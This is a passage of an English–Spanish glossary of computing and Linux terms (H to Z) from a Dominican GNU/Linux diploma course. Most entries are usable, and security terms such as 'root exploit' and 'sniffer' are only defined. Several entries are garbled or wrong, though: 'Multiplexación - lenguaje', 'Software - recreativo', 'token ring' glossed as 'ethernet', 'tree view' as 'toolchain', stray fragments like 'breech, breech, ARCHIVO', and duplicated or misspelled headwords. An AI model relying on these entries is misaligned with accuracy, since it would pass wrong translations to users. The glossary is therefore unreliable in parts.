Hub - concentrador, distribuidor, concentrador.
Hyphen - guión.
Hyphenate - enguionar, cortar palabras incorporando guiones.

I
i.e. - esto es, o sea (del latín id est).
Icon - ícono.
iconize (v) - miniaturizar, iconizar, minimizar.
Idle - ocioso, inactivo.
Illegal - ilegal, no válido.
Illustrator - ilustrador.
Imaging - proceso de imágenes, trabajo con imágenes, diseño de imagen, generación de
imagen, ilustración, imagimática (técnicas a menudo computarizadas, por ejemplo,
radiografías, ultrasonido, radioactividad, calor, o magnetismo, usadas para obtener
imágenes en medicina).
implement (v) - implementar.
Inbox - bandeja de entrada.
indent (v) - sangrar (empezar un renglón más adentro que los otros).
Indentation - sangría.
Index - índice, comondo índice (en programación).
Indexed - indexado.

Diplomado de GNU/Linux
150
Fundación Código Libre Dominicano
http://www.codigolibre.org

inflate (v) - inflar (descomprimir).


inherit (v) - heredar.
Inheritance - herencia.
Init - sistema, método o esquema de inicio de sistema operativo.
Initrd - imagen de arranque.
Inkjet - inyección de tinta, INKJET.
Inode - nodo i, inodo.
Input - m. input.
input encoding - codificación.
Installer - instalador.
Instance - instancia, ejemplar.
Integrated Development Enviroment (IDE) - Entorno de desarrollo integrado, (es
Environment).
Integrated Services Digital Network (ISDN) - Red Digital de Servicios Integrados (RDSI)
interactive - interactivo.
Interface - interfaz (femenino), definición de gestión de hardware, interface, fem.
(España) Interfaz, Interfase.
interlace (v) - entrelazar, interfoliar.
Interlaced - entrelazado.
Internet – Internet.
Internet Protocol (IP) - protocolo Internet, iptables, protocol, (iptables incorrecto)
(protocolo de la capa de red).
Interpolation - interpolación.
Interrupt - interrupción.
Interrupt Request (IRQ) - Solicitud de interrupción, petición de interrupción,
direcciones de entrada/salida.
Introducer - presentador.
Intrusion Detection System (IDS) - sistema de detección de intrusos (o de intrusiones).
Invalid - no es válido.
Iptables - tablas IP.
Isochronous - isocrono (del prefijo griego iso, igual, y de la palabra griega crono,
tiempo).
Isomorphism - isomorfismo.
ISP (Internet Service Provider) - proveedor de servicios de internet.
Italic - cursiva.
Item - elemento, objeto.
Iteration - iteración (del latín iteratio, -onis).

J
jabber - torrente de palabras ininteligibles.
jabber (v) - hablar mucho, hablar incoherentemente, farfullar.
jagged picture - imagen serrada.
jigsaw puzzle - rompecabezas, casa.
Jitter - ruido, nieve, en redes IP, variación en el retardo (RTT) de los paquetes.
Job - trabajo.
Journal - base de datos transaccional (cf. sistema de archivos transaccional).
journaling file system - sistema de archivos transaccional.
Joystick - videomando, ludomando, mando para jugar, palanca para juegos.
Jumper - puente, puente deslizable, puente configurable, conector.
Junk-mail - correo basura.
justify (v) - alinear.

Diplomado de GNU/Linux
151
Fundación Código Libre Dominicano
http://www.codigolibre.org

K
keepalive - latidos.
Kernel - núcleo, fallo en kernel32.
Kerning - interletraje (ajuste de espacio entre ciertos pares de caracteres para que
estos se impriman con un toque estético), ligadura, interletraje (ajuste de espacio
entre ciertos pares de caracteres para mejorar su legibilidad).
Key - 1. llave. 2. tecla. 3. clave. 4. tono, tonalidad. 5. crucial, de importancia,
significante.
key escrow - depósito de claves.
key fingerprint - huella de clave.
key pair - par de claves.
Keyboard - teclado.
keyboard shorcuts - métodos abreviados de teclado.
keyboard shortcut - método abreviado de teclado, atajo de teclado.
Keyring - anillo de claves, archivo de claves.
Keyword - palabra clave.
Kick - expulsar, echar.
Kit - conjunto, juego, paquete.
Knowbot - robot, buscador, buscador en la red (programa que busca y clasifica
información automáticamente en una red, a diferencia de buscador en una base de datos
propia), buscador inteligente (programa que utiliza técnicas derivadas de la rama de
inteligencia artificial para realizar búsquedas y guardar perfiles de los usuarios),
robot de búsqueda, KNOMBOT, outdoor.

L
label - etiqueta.
Latency - latencia.
Lattice - red, trama.
Layer - capa.
Layers - capas.
Layout - esquema, diseño, composición, gestor de geometría (en algunos programas
gráficos).
Leak - fuga (de un gas o líquido por un agujero), escape, pérdida.
leap second - segundo intercalar.
Lease - arrendamiento (de una dirección IP, por medio de un servidor DHCP).
Legalese - condiciones legales, jerga legal.
Library - librería, biblioteca (cuando library se refiere al edificio donde se
almacenan libros, sin lugar a dudas que la traducción correcta es biblioteca; pero en
el contexto informático es más usada librería, ya que además de una tienda de venta de
libros, librería también es un mueble donde se guardan documentos), biblioteca.
lightning effects - efectos de iluminación.
Line - línea, renglón.
line wrap - encapsulamiento de línea, retorno automático de líneas.
Link - enlace, vínculo, liga, eslabón.
link (v) - enlazar, conectar, vincular, crear vínculos.
Linker - enlazador.
Liquid Cristal Display (LCD) - pantalla de cristal líquido.
list view - lista de elementos.
Little-endian - byte menos significativo primero.
Live CD - CD Vivo.

Diplomado de GNU/Linux
152
Fundación Código Libre Dominicano
http://www.codigolibre.org

Loadable - cargable, enchufable (cf PAM, módulos del núcleo.


Local Area Network (LAN) - red de área local.
Locale - opciones de localización, localizaciones.
Lock - cerrojo, candado, cerradura, bloqueo.
lock (v) - cerrar con llave, trancar.
lock file - archivo de bloqueo.
Log - registro, bitácora.
log (v) - registrar.
log in (v) - ingresar, entrar en, comenzar la sesión, entrar al sistema, conectarse,
registro ('log' es registro en inglés), registrarse ('log' es registro en inglés).
log on (v) - ver ``log in''.
log out (v) - salir de.
Logger - gestor de registro de actividades.
Login - ingreso, acceso.
login banner - mensaje de ingreso, mensaje de bienvenida.
Logout - salir del sistema.
LOL - MDR (muerto de risa, acrónimo).
look and feel - aspecto y funcionalidad, aspecto visual y operacional.
Loop - ciclo, bucle.
Loopback - circuito cerrado.
Lossy - con pérdida, perdida, compresión resumida, compresión con pérdida (de
información), compresión por reducción, breech, breech, ARCHIVO, (compesión ~) Inform.
adj. Elimina redundancia en datos y procura reducir al mínimo la cantidad de
información perdida en el proceso de compresión y descompres, ión de los datos. rev:
"...proceso de codificar (compresión) y de descifrar (el descomprimirse) los datos."
luminance - luminancia.
Lvalue - valor a la izquierda, valor-l.

M
mail - correo, mensaje.
mail (v) - enviar por correo.
mail hub - distribuidor de correo.
Mailbox - buzón.
Mailer - gestor de correo, agente de correo, corresponsal, cartero.
mailing list - lista de correo, lista postal, lista de distribución.
Mainframe - macrocomputadora, ordenador de escala superior.
Maintainer - responsable del mantenimiento, encargado del mantenimiento, responsable,
encargado, administrador.
Map - mapa, MAPA DE BITS, mapa de vinculo.
map (v) - mapear, asignar.
Markup - marcado.
markup language - Inform. m. lenguaje marcado. Un sistema de codigo de instrucción que
se entrelaza con el contenido de un documento para definir su apariencia de
presentación.
Mask - máscara, mascara de red.
mask (v) - enmascarar, ocultar.
Masking - enmascaramiento.
Masquerading - emmascarado, enmascaramiento, mimetización.
Master - maestro, amo.
master boot record - registro principal de arranque, registro principal de inicio (en
disco duro).

Diplomado de GNU/Linux
153
Fundación Código Libre Dominicano
http://www.codigolibre.org

Match - concordancia (objeto o persona que se encuadra bien con otra).


match (v) - coincidir, encuadrar, encajar, concordar, emparejar.
Mbr - cf. master boot record.
Measure - medida, métrica.
merge (v) - mezclar, fusionar, incorporar.
Mesh - malla.
message digest - condensado de mensaje.
Method - método.
Milestone - hito, punto de referencia.
Mirror - réplica.
mirror site - réplica.
Mismatch - discordancia.
Misplaced - extraviado.
Mistake - equivocación, error.
mix (v) - mezclar.
Mixer - mezclador.
mobile IP protocol - protocolo IP móvil.
mobile node - nodo móvil, ordenador móvil.
Modem - modem, (Modulador - Demodulador).
Module - módulo.
monitor (v) - supervisar, controlar.
Mount - montaje (como en un sistema de archivos).
mount (v) - montar.
mount point - sitio para montaje (sistema de archivos/archivo).
Mouse - ratón, raton, RATON.
Multiplexación - lenguaje.
Mute - silencio.

N
name resolution - resolución nominal (cf dns).
named pipes - tuberías designadas, tuberías con nombre, cauces designados.
Namespace - espacio de nombres.
nest (v) - anidar, conectar, platicar.
Nested - anidado.
Netbook – mini laptop, computadora portatil.
Netboot - arranque a través de la red.
Netmask - máscara de red.
Netmount - montaje (de un sistema de archivos) a través de la red.
Network - red.
New - noticias.
Newbie - principiante, definicion de newbie.
news feed - proveedor de noticias, fuente de noticias, suministro de noticias.
Newsgroups - grupos de noticias, grupos de discusión, foros de discusión.
Nickname - apodo, alias.
noise gate - bloqueador de ruidos.
Non-octet - diferente a un octeto.
Notebook - agenda electrónica.
Numsigns - alfanumérico.

Diplomado de GNU/Linux
154
Fundación Código Libre Dominicano
http://www.codigolibre.org

object - objeto.
object oriented - orientado por (a) objetos.
Object-oriented programming - programación orientada a objetos.
Octet - octeto, byte.
Ocurrence - caso, aparición.
Off-line - desconectado, fuera de línea.
Offset - offset, desplazamiento.
Off-topic - fuera de temática, fuera de tema.
OK - aceptar.
on the fly - sobre la marcha.
On-line - conectado, en línea.
open source - código fuente abierto, free.
Option - opción.
ordered data journaling - registro ordenado de datos (cf. sistema de archivo
transaccional, ext3).
Outline - bosquejo.
Output - m. output, salida, resultado.
Overall - por encima, en general.
Overflow - desbordamiento.
Overhead - sobrecarga, Residuo a depurar.
Overload - sobrecarga.
overload (v) - sobrecargar.
override (v) - redefinir, reescribir, reemplazar.
Owner - propietario.

P
pager - 1. buscapersonas. 2. paginador, conmutador (tal como se usa en gestores de
ventanas).
pan (v) - mover.
panorama image - galería panorámica, NOR.
Parameter - parámetro.
parse (v) - analizar sintácticamente.
Parser - intérprete, analizador.
Partition - partición, partition.
partition table - tabla de particiones.
Passphrase - contraseña, frase de paso (más de una palabra).
Password - contraseña, palabra de paso, palabra clave.
Patch - parche, modificación.
patch (v) - actualizar, parchear, emparchar.
patch file - archivo (archivo) de parche.
Path - camino, trayectoria, ruta.
Pattern - patrón.
Peer - vecino, conector, punto.
Peer-to-peer - entre iguales.
Penalty - penalización.
perform (v) - realizar (una acción).
Performance - rendimiento, desempeño.
Period - punto.
Piggybacking - confirmaciones superpuestas, superposición de confirmaciones.
Pin - patilla, pata, contacto.
Ping - ping, chequeo de respuesta.

Diplomado de GNU/Linux
155
Fundación Código Libre Dominicano
http://www.codigolibre.org

Pipe - tubo, tubería, filtro.


pipe (v) - entubar, redireccionar, derivar, redirigir la salida a.
pipeline - línea-de-ensamble. En Diseño de computadoras, una "línea de ensamble" en el
microprocesador que acelera dramáticamente el procesamiento de instrucciones. canalaje
Pipeling - redireccionamiento.
Pitch - tono, altura.
Pixel - píxel, punto, megapixel.
Placeholder - de relleno.
Placer - posicionador.
Plaintext - texto llano.
Play - reproducir, tocar (música).
Player - 1. jugador. 2. reproductor (de discos compactos), intérprete (de archivos de
sonido).
Playlist - lista de reproducción.
Plotter - trazador, graficador, PLOTTER (S).
plug and play - enchufar y usar.
plug and play (v) - pinchar y listo.
plug and pray - pincha y reza (para que funcione; véase plug and play).
Plug-in - accesorio, añadido, módulo.
Pluggable - conectable.
Pointer - puntero, índice (de una matriz de datos).
Policy - política, normas, reglas, normativa, directrices, criterios.
poligonal mesh - malla de polígonos.
Poll - sondeo.
poll (v) - sondear.
Polling - sondeo.
pop-up menu - menú desplegable.
popup menu - menú emergente.
Port - 1. puerto, puerta (referido al protocolo TCP/IP). 2. migración, porteo (versión
de un programa para otra plataforma), puertos de un CPU.
port (v) - portear, portar, adaptar (hacer una versión de un programa para otra
plataforma).
Portable - portátil.
Portage - porteo, Portage (sistema de administración de paquetes de Gentoo).
Portscan - sondeo de puertos, escaneo de puertos .
portscan (v) - sondeo de puertos, escaneo de puertos.
Post - envío, POWER ON SELF.
post (v) - remitir, publicar (en un grupo de noticias).
Poster - autor (de un artículo o mensaje).
posting agent - agente de envío.
Postmaster - administrador postal, administrador de correo, postmaster.
Postponed - pendiente.
Power - alimentación (energía), potencia.
Preemptible - apropiable.
Preemptive - apropiativo, expropiativo.
Preview - vista previa, visualización previa.
Primary key - Clave primaria.
Private - privado, confidencial.
private key cryptography - Criptografía con clave privada.
Profile - perfil.
profile (v) - perfilar.

Diplomado de GNU/Linux
156
Fundación Código Libre Dominicano
http://www.codigolibre.org

Profiler - perfilador.
Profiling - parametrización, personalización, perfilado, acción de medir el rendimiento
de un programa, personalización (igual que customización), Customización no existe en
el VCT ni en el Dic. de la RAE. Además suena horrible. diseño, ajuste, tallado; y
tallar sería evaluar el rendimiento del programa , evaluación, valoración,
¿adaptación?, afinado/afinamiento, ; perfilar m. Inform. La actividad de coleccionar
informacion de algo con la finalidad de describirlo.
profiling execution - perfil de uso de recursos (del programa ejecutado).
Programmer - programador.
Programming - programación, Programacion, programas, programa, programacion.
Prompt - cursor, símbolo de espera de órdenes, punto indicativo.
prompt (v) - apremiar.
Properly - apropiadamente.
proprietary software - software de propietario, software en propiedad.
provide (v) - proporcionar, proveer, abastecer, habilitar.
Proxy - proxy, representante, apoderado.
public key cryptography - Criptografía con clave pública.
Pump - bomba.
Punch-in - grabación mediante el método de disparo.
purge (v) - purgar, limpiar.

Q
query - consulta, pregunta, petición.
Queue - cola.
quit (v) - renunciar, abandonar, finalizar, acabar.
Quota - cuota.
Quote - 1. comilla. 2. cita (de un libro, por ejemplo).
quote (v) - citar (referir textualmente).
quoted text - texto citado.

R
race condition - condición de carrera.
radio button - botón de radio, botón de opción (botón dentro de un grupo en que sólo
uno puede estar pulsado a la vez).
Radiosity - radiosidad.
Random - aleatorio.
Randomizer - generador de aleatoriedad, selector aleatorio, aleatorizador, Generador de
números aleatorios. sorteador , (v) sortear, secuenciador aleatorio, aleatorizador,
Generador de números aleatorios, v. range, margen, alcance, gama, surtido, línea,
intervalo, variedad.
Rank - rango.
Rate - tasa.
rate (v) - calificar, clasificar.
Rating - calificación, clasificación.
Raw - crudo, virgen.
raw mode - modo primitivo, modo directo, modo sin formato.
Ray-tracing - trazado de rayos.
re-spawn (v) - reiniciar.
read only - sólo lectura.
Read-only - Sólo para lectura.
Readme - leame, leeme.

Diplomado de GNU/Linux
157
Fundación Código Libre Dominicano
http://www.codigolibre.org

Realm - reino (conjunto de páginas web cubiertas con el mismo par usuario/contraseña).
Realtime - en tiempo real, en vivo.
reboot (v) - reiniciar, rearrancar.
Receiver - receptor, destinatario.
Recipient - destinatario (de una carta, mensaje, etc...).
redirect - redirigir, redirigir.
Refresh - actualizar, actualizar, refrescar (en casos en que actualizar tenga el
sentido de update).
refuse (v) - rehusar, rechazar.
regular expression - expresión regular.
Relay - 1. repetidor, conmutador, relevador, relevo, relé. 2. reenvío, conmutación.
relay host - nodo de reenvío, conmutador.
Release - lanzamiento, publicación, entrega, versión, revisión.
release (v) - lanzar, publicar, sacar.
rely on (v) - depender de, confiar en, delegar en.
Remailer - reexpedidor.
remove (v) - remover, retirar, quitar, sacar (la traducción remover desagrada a
algunos, pero otras alternativas que proponen como ``borrar'' o ``desechar'' pueden
causar confusión; por ejemplo ``remove the disk'' no debe ser traducido como ``borre el
disco''), extraer (se adecua al ejemplo de "remove the disk").
Rendering - síntesis de imágenes, renderizado, representación.
reply (v) - responder (al autor de un artículo o mensaje).
Repository - repositorio.
Request - pedido, peticion.
require (v) - necesitar, exigir.
Requirement - requisito.
Resample - remuestrear.
Reset - reinicio.
reset (v) - reiniciar.
reset button - botón de reinicio.
Resize - redimensionar.
Resolution -resolución.
Resolver - sistema de resolución, traductor de direcciones, resolutor.
resume (v) - reanudar, retomar.
Ripper - extractor de audio.
Roadmap - plan de acción, plan estratégico, calendario de mejoras,.
Root - superusuario, directorio raíz, administrador, administrador del sistema.
root exploit - explotación de root.
roster (término de Jabber) - lista de contactos.
round trip time (RTT) - Tiempo de ida y vuelta.
Router - encaminador, enrutador, definicion, router.
Routing - encaminamiento, enrutamiento.
routing table - tabla de rutas.
RTFM - LEJM ('Read the Fucking Manual' : 'Lee el Jodido Manual').
Run - ejecución .
run (v) - ejecutar, correr, operar, utilizar (término muy problemático pq según el
contexto tiene un sentido temporal momentáneo [la ejecución] o continuo [estado
operativo]).
run out of memory - agotar la memoria.
run time - tiempo de ejecución.
Runlevel - nivel de ejecución (al iniciar o arrancar el sistema operativo).

Diplomado de GNU/Linux
158
Fundación Código Libre Dominicano
http://www.codigolibre.org

runtime library - biblioteca de ejecución.

S
sample rate - frecuencia de muestreo.
Scalable - redimensionable.
Scanner - escáner, digitalizador, que es, scanner:.
Scanning - barrido, rastreo.
Schedule - horario.
schedule (v) - planificar, programar, organizar.
Scheduler - planificador, planificador de tareas.
Schema - esquema.
scratch (from) - de cero, desde el principio.
Screen - pantalla.
screen saber - salvapantallas, protector de pantallas, definición.
Screenshot - captura de pantalla.
Script - guión, macro, script, archivo de comandos, archivo de órdenes.
script kiddie - aprendiz de cracker. alguien que busca romper sistemas en red con
herramientas hechas por otros.
Scroll - desplazamiento, lista, rollo.
scroll (v) - desplazar.
scroll down (v) - avanzar.
search engine - motor de búsqueda.
seccion target - español.
Sentence - sentencia.
separation of concerns - separación de asuntos.
Server - file server, servidor, servidor, servidor.
servidor espejo - serveur miroir, servidor.
shadow passwords - Sistema de encriprtación de dichas contraseñas utilizado en sistemas
Unix/Linux.
sharpen (v) - enfocar.
Shell - shell. Interfaz de comandos.
shell menu - menú de sistema.
Single-stepping - seguimiento sencillo.
Skin – skin, piel (generalmente usado para temas).
Slash - (/).
slideshow - presentación con diapositivas.
Snapshot - instantánea.
Snippet - snipett.
Software - recreativo, código, software, soporte lógico, lógica, aplicación, programa.
software localization - (de un programa) traducción diatópica, traducción regional,
diatopización (sólo para ejecutivos)
source - re-lectura (de archivo de configuración); en la shell bash, sinónimo del
comando en forma corta.
source tree - árbol de fuentes, árbold de código fuente.
Spam - correo comercial no deseado (e-mail de propaganda).
Speed - velocidad.
sroll up (v) - retroceder.
Scrollable - deslizable.
Search - búsqueda.
search (v) - buscar.
search engine – buscador, motor de busqueda.

Diplomado de GNU/Linux
159
Fundación Código Libre Dominicano
http://www.codigolibre.org

search wrapped - búsqueda reiniciada desde el comienzo.


Secure Socket Layer (SSL) - capa de conexión segura.
seek (v) - buscar.
segmentation fault - violación de segmento.
Semicolon - punto y coma (;).
sender - remitente, Remitente (de una carta, e-mail, etc...).
sequence - secuencia, sucesión.
Sequencer - secuenciador (hardware o software destinado a grabar y reproducir música
electrónica en tiempo real usando MIDI, con edición simple de las notas).
Server - servidor (de correo, noticias, HTTP, etc).
Set - conjunto.
set (v) - 1. colocar. 2. definir. 3. ajustar. 4. fijar.
set up – configuración, instalación.
Setting - configuración.
setup (v) – configurar, instalación, instalador.
shadow passwords - contraseñas ocultas.
shared memory - memoria compartida.
sharpen (v) - 1. afilar. 2. mejorar la imagen (hacerla más nítida).
Shell - shell (femenino), capa, intérprete de comandos.
shell script - archivo (archivo) de comandos, script de shell.
Shift - desplazamiento.
shift (v) - levantar, desplazar.
Shortcut - atajo.
Shorthand - abreviado, taquigrafía.
shrink (v) - reducir.
Shutdown - apagar, cerrar.
Signature - 1. firma. 2. identificación.
Silently - sin aviso, discretamente, silenciosamente .
Simple Mail Transfer Protocol (SMTP) - protocolo simple de transferencia de correo .
Site - sitio, local, instalación, sede, recinto, conjunto de paginas relacionads entre
si por ejemplo esmas.com
skin - carátula.
skip (v) - omitir.
Slash - barra.
Slot - 1. ranura. 2. posición.
snap (v) - agregar.
Snapping - agregado.
Snapshot - 1. captura de imagen, captura de pantalla, pantallazo. 2. imagen instantánea
sniffer - rastreador, escrutador.
Snippet - recorte, retazo.
Splashscreen - pantalla de presentación.
Socket - socket, enchufe, zócalo, conexión.
soft link - enlace lógico, enlace flexible.
Software - software, soporte lógico, lógica, aplicación, programa.
sort (v) - ordenar, clasificar
sort of - tipo de, clase de, más o menos.
sound effect - efecto sonoro.
Source - 1. origen. 2. código fuente.
source code - código fuente.
spawn (v) - iniciar.
Specification - especificación.

Diplomado de GNU/Linux
160
Fundación Código Libre Dominicano
http://www.codigolibre.org

Specs - especificaciones.
specular highlights - reflexiones especulares.
Spell - hechizo.
spell (v) - deletrear.
Spelling - ortografía.
Spike - pico (en una gráfica).
spin lock - cerrojo, spin lock.
Splitter - divisor.
sponsor (v) - patrocinar.
spoof (v) - engañar, falsificar.
Spool - cola, lista de espera, cola de impresión.
spool directory - directorio de la cola.
Spreadsheet - hoja de cálculo.
Stack - pila.
Staff - (sust.) Personal.
Stalled - atascado.
Standard - estándar, patrón, norma.
stat (v) - verificar.
statistical sampling - muestreo estadístico (de registros en una base de datos).
Stats - estadísticas.
Statement - declaración, cláusula.
Stochastic - estocástico.
Store - almacen, depósito.
Stream - corriente, flujo, secuencia (vídeo), secuencia.
stream (v) - optimizar, Transmitir por una corriente, serializar.
Stride - espaciamiento (entre elementos consecutivos de un vector).
String - cadena de caracteres.
strip (v) - despojar, desnudar (eliminar los símbolos de depuración en un programa o
biblioteca)
stroke - 1. golpe. 2. ataque (he died of a stroke). 3. movimiento. 4. trazo.
stroke (v) - trazar.
Submit - remitir, enviar.
Subject - asunto.
Subnet - subrred.
Subscript - subíndice.
Superblock - superbloque (cf. sistema de archivos/archivo).
supersede (v) - sustituir, modificar.
Support - soporte, apoyo, respaldo, asesoría, (nota: soporte no es correcto castellano
es un 'falso amigo')
support (v) - apoyar, ayudar, colaborar, , permitir, aceptar, reconocer.
Surfer - navegante.
surround sound - sonido envolvente.
Swap - intercambio.
swap (v) - intercambiar, swapping.
swap partition - Partición de intercambio.
Switch - interruptor, conmutador, switch, switch de nivel 1.
symbolic link - enlace simbólico.
Symlink - enlace simbólico.
syntax highlighting - resaltado de sintaxis, syn.
system call - llamada al sistema.
system logger - gestor de registro de actividades del sistema.

Diplomado de GNU/Linux
161
Fundación Código Libre Dominicano
http://www.codigolibre.org

T
tab - pestaña, lengüeta, tira, tabulador, ficha, solapa.
tab completion - terminación por tabulador (tecla Tab).
Tag - marca, coletilla, etiqueta.
Tarball - archivo tar, archivo producido por el programa tar.
Target - destino, objetivo.
target partition - partición de destino.
Task - tarea.
technnical support - asistencia técnica.
Template - plantilla.
terminal input - entrada.
Test - prueba, test.
test (v) - evaluar, probar.
texture mapping - aplicación de texturas.
third party - entidades externas (...no se me ocurre nada más descriptivo, mejoradlo)
thread - hilo (hilo de mensajes en una lista, o hilo de ejecución en un programa),
hebra
threshold - umbral.
threshold level - valor umbral.
Throughput - flujo, caudal de datos, rendimiento total, productividad, tasa de
transferencia
thumbnail - miniatura.
Ticker - teletipo.
Ticket - tiquete.
Tile - baldosa, mosaico.
tile (v) - embaldosar.
Timeout - timeout, expiración de plazo, tiempo de espera agotado.
Timer - temporizador.
Timeslice - porción de tiempo, partición de tiempo.
Timestamp - marca de tiempo, fecha y hora, sello temporal.
Tiny - diminuto.
Tip - consejo, sugerencia.
to watch - monitorizar, observar, seguir, vigilar, (v).
toggle - conmutado, biestable.
toggle (v) - alternar (entre dos estados).
Token - símbolo, lexema.
token ring - anillo de fichas, ethernet.
Tool - utilería, herramienta.
Toolbar - barra de herramientas, barra de herramientas.
Toolkit - juego de herramientas, conjunto de herramientas.
Torque - par.
Trace - traza.
trace (v) - trazar, rastrear.
trade off - contrapeso, equilibrio, balance.
trade off (v) - contrapesar.
trailing spaces - espacios finales.
transactional integrity - integridad transaccional.
Transport - transporte.
transport (v) - transportar, transport vehicule.
tree view - lista jerárquica, toolchain.

Diplomado de GNU/Linux
162
Fundación Código Libre Dominicano
http://www.codigolibre.org

Trigger - disparador.
Troll - trole, metepatas, bocazas.
troll (v) - meter la pata, reventar un debate.
Troubleshooting - eliminación de problemas, solución de problemas, localizar problemas
troyanized program - programa comprometido. programa modificado con código malicioso.
Trusted - confiable.
tune (v) - afinar.
Tutorial - guía, tutorial, Tutorial.
Tweak - arreglo.
tweak (v) - afinar.
twisted pair - par trenzado.
Type - tipo.
type (v) - teclear.
Typing - impresión (en papel, por ejemplo).
Typo - errata, , error ortográfico.

U
undefined - indefinido.
Underflow - desbordamiento por abajo.
Uniform Resource Locator (URL) - localizador, Recurso de locación uniforme (cuando se
refiere a dirección de internet se usa URL).
Unindent - desangrar (?).
Uninterruptible Power Supply (UPS) - sistema de alimentación ininterrumpida.
Universal Asynchronous Receiver and Transmiter (UART) - receptor/transmisor asíncrono
universal, syn.
Up - operacional, en funcionamiento.
Update - actualización, de software.
update (v) - actualizar.
Upgrade - mejora, versión mejorada.
upgrade (v) - promover, mejorar, instalar una versión mejorada, modernizar.
Upload - subir, cargar (copiar en un servidor remoto).
Upstream - flujo ascendente.
upstream port - puerto de envío.
upstream version - versión original.
Usability - ergonomía.
User - usuario, Usuario, Persona que accede a un sistema de internet.
user friendly - fácil de usar.
Userland - área de usuario.
Using - español ingles, usando.
Utility - utilidad, generalmente un programa de sistema para un uso específico.

V
validity - validez.
Value - valor.
Variation - variación, variante, variable, tipos de variables, VARIABLE CONSTANTE.
Verbatim - literal, textual, al pie de la letra.
Verbose - prolijo, pormenorizado, detallado, verboso.
vertex blending - combinación de vértices.
view layout - vista de disposición.
Viewer - visor.
Volatility - volatilidad.

Diplomado de GNU/Linux
163
Fundación Código Libre Dominicano
http://www.codigolibre.org

Voltage - voltaje.
volume group - en el manejador de volúmenes lógicos (lvm, en inglés): grupo de
volúmenes
vulnerability scanner - analizador de vulnerabilidades (generalmente el análisis será
automático, pero a veces podría ser dirigido).

W
wallpaper - fondo, mural, papel tapiz, fondo de pantalla, fondo de escritorio, imágen
del fondo, telón de fondo, papel de empapelar, imagen de fondo, tapiz, fondo de
pantalla, papel de pared, papel tapiz, empapelado, papel mural, estilo de escritorio,
fondo pantalla
warehouse - almacenamiento masivo.
Warning - advertencia, aviso.
Watchdog - perro guardián, aplicación guardiana.
Web - 1. web (femenino: ``búscalo en la web'', ``se encuentra en muchos sitios web'')
2. red, trama, la web, concepto, concepto, WED SITE, web
Web Mail Folder (WMF) - carpetas de correo web.
Webcam - cámara de videoconferencia.
Weblog - portal de noticias, cuaderno de bitacora, blog, diario.
Website - sitio web.
Widget - widget, control, componente.
Wildcard - comodín.
window manager - gestor de ventanas, administrador de ventanas.
Wireless - inalámbrico, red inalambrica, sin hilos.
Wishlist - deseable, lista de mejoras.
Wizard – asistente.
word wrap - ajuste de línea, encapsulamiento de palabra, retorno automático de palabras
Workaround, arreglo temporal.
wrap (v) - encapsular, forrar, envolver.
Wraparound - envoltura, envolvente, reciclado.
Wrapper - envoltura, forro, empacador, envoltorio.
WYSIWYG - "What You See Is What You Get". Lo que ves es lo que obtienes.

Y
yank (v) - insertar un trozo de texto en la posición actual del cursor.

Z
zap - fulminar.
zoom in (v) - acercar.
zoom-out (v) - alejar.

Diplomado de GNU/Linux
164